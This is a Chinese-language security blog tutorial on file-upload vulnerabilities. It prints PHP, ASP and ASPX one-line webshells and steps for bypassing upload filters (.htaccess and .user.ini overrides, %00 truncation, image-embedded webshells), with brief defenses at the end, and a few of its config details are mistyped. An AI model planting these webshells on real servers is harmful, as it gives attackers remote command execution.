WEB漏洞——檔案上傳

1_Ry發表於2021-09-12

有關檔案上傳的知識

  • 為什麼檔案上傳存在漏洞

  上傳檔案時,如果服務端程式碼未對客戶端上傳的檔案進行嚴格的驗證和過濾就容易造成可以上傳任意檔案的情況,包括上傳指令碼檔案(asp、aspx、php、jsp等格式的檔案)。

常用一句話木馬

  asp一句話木馬:
   <%execute(request(“test”))%>
  php一句話木馬:
   <?php @eval($_POST[test]);?>
  aspx一句話木馬:
  <%@ Page Language=“Jscript”%>
  <%eval(Request.Item[“test”])%>

 

  • 危害

  非法使用者可以利用上傳的惡意指令碼檔案控制整個網站,甚至控制伺服器。這個惡意的指令碼檔案,又被稱為 Webshell,也可將 Webshell本稱為一種網頁後門Webshell本具有非常強大的功能,比如檢視伺服器目錄、伺服器中的檔案,執行系統命令等。

 

JS檢測繞過

JS檢則繞過上傳漏洞常見於使用者選擇檔案上傳的場景,如果上傳檔案的字尾不被允許,則會彈框告知,此時上傳檔案的資料包並沒有傳送到服務端,只是在客戶端瀏覽器使用 javascript)對資料包進行檢測。

三種方法繞過js檢測

  • 直接瀏覽器設定禁用JavaScript(但一般禁用了js頁面很多正常的功能無法執行)
  • 刪除JS前端驗證處的程式碼
  • 使用BurpSuite抓包:先把php木馬改成jpg字尾上傳,經過前端驗證之後抓到包修改回php字尾即可

 

檔案型別(MIME)檢測繞過

上傳一個php檔案抓包看看,看到Content-Type顯示的是application/octet-stream

 接著再上傳一個普通的圖片看看,變成了image/jpeg

如果服務端通過這個來判斷檔案型別,那麼就可以被繞過,直接抓包修改檔案型別即可

 

檔案內容頭校驗

服務端通過檔案內容中的檔案頭來判斷是否是非法上傳

同樣可以通過抓包修改繞過

這裡給出兩個好記的檔案頭

格式

檔案頭

GIF 

GIF89a
BMP  BM

 

檔案內容<?校驗繞過

使用Javascript繞過

<script language="php">
@eval($_POST['test']);
</script>

 

Apache解析漏洞

在 Apache的解析順序中,是從右到左開始解析檔案字尾的,如果最右側的副檔名不可識別,就繼續往左判斷,直到遇到可以解析的檔案字尾為止。

例如一個檔名為test.php.aaa.bbb.ccc的檔案,Apache會從ccc的位置往php的位置開始嘗試解析 ,如果ccc不屬於Apache能解析的字尾名,那麼Apache就會嘗試去解析bbb,這樣一直往前嘗試,直到遇到一個能解析的擴充名為止

 

Nginx解析漏洞

這個漏洞造成的原因只要是php配置檔案中的選項cgi.fi:x_pathinfo
例如/1.txt/1.php 由於1.php是不存在的,就會把1.txt檔案當成php檔案來執行。

 

IIS 5.X~6.X解析漏洞

當建立.asp .asa的資料夾時,其目錄下的所有檔案都會當作asp 檔案來解析。

當檔案位 .asp;1.jpg時,iis同樣會把他當作ASP指令碼來執行。



黑名單繞過——.htaccess檔案

建立一個名為.htaccess的檔案,寫入以下程式碼,上傳到目標網站

SetHandler application/x-httpd-php  //方法一:將所有檔案解析成php
AddType  application/x-httpd-php .png   //方法二:將jpg檔案解析成php

接著將一句話木馬以圖片的形式儲存,在上傳到目標網站,圖片將會以php執行  

 

黑名單繞過——.uer.ini檔案

.uer,ini跟.htaccess後門比,適用範圍更廣,nginx/apache/IIS都有效,而.htaccess只適用於apache

首先,構造一個.user.ini檔案,內容如下:

GIF89a                  
auto_prepend_file=test.jpg  //指定在主檔案之前自動解析的檔案的名稱,幷包含該檔案,就像使用require函式呼叫它一樣。

上傳到目標網站。接著將一句話木馬以圖片的形式儲存,在上傳到目標網站,圖片將會以php執行

 

檔案截斷%00繞過

截斷原理:由於00代表結束符,所以會把00後面的所有字元刪除。

截斷條件:PHP版本小於5.3.4,PHP的 magic_quotes_gpc為OFF狀態。 

 修改引數 test.php%00.jpg,檔案被儲存到伺服器時,%00會把“jpg"和按時間生成的圖片檔名全部截斷,那麼檔名就剩下test.php,因此成功上傳了 Webshell

 

大小寫/雙寫繞過

沒啥好寫如題

 

圖片馬

將php檔案和jpg檔案放一起,開啟cmd輸入

copy test.php /b + 2.jpg /a 2.png 

或者直接用記事本開啟jpg圖片,在裡面輸入一句話木馬,即可做出圖片馬

但是圖片馬不能直接利用,需要通過檔案包含來利用 

 

 

資料溢位繞過waf

在網上還看到了一個有意思的繞過方法,垃圾資料緩衝溢位

 一般檔案上傳的時候會有這樣的格式,就在filename的前面塞大量的垃圾資料,繞過waf,注意垃圾資料後面要加一個分號

 

 

檔案上傳漏洞防禦

  • 通過白名單的方式判斷檔案是否合法
  • 對上傳後的檔案進行重新命名,例如rand(10,99).jpg

 

相關文章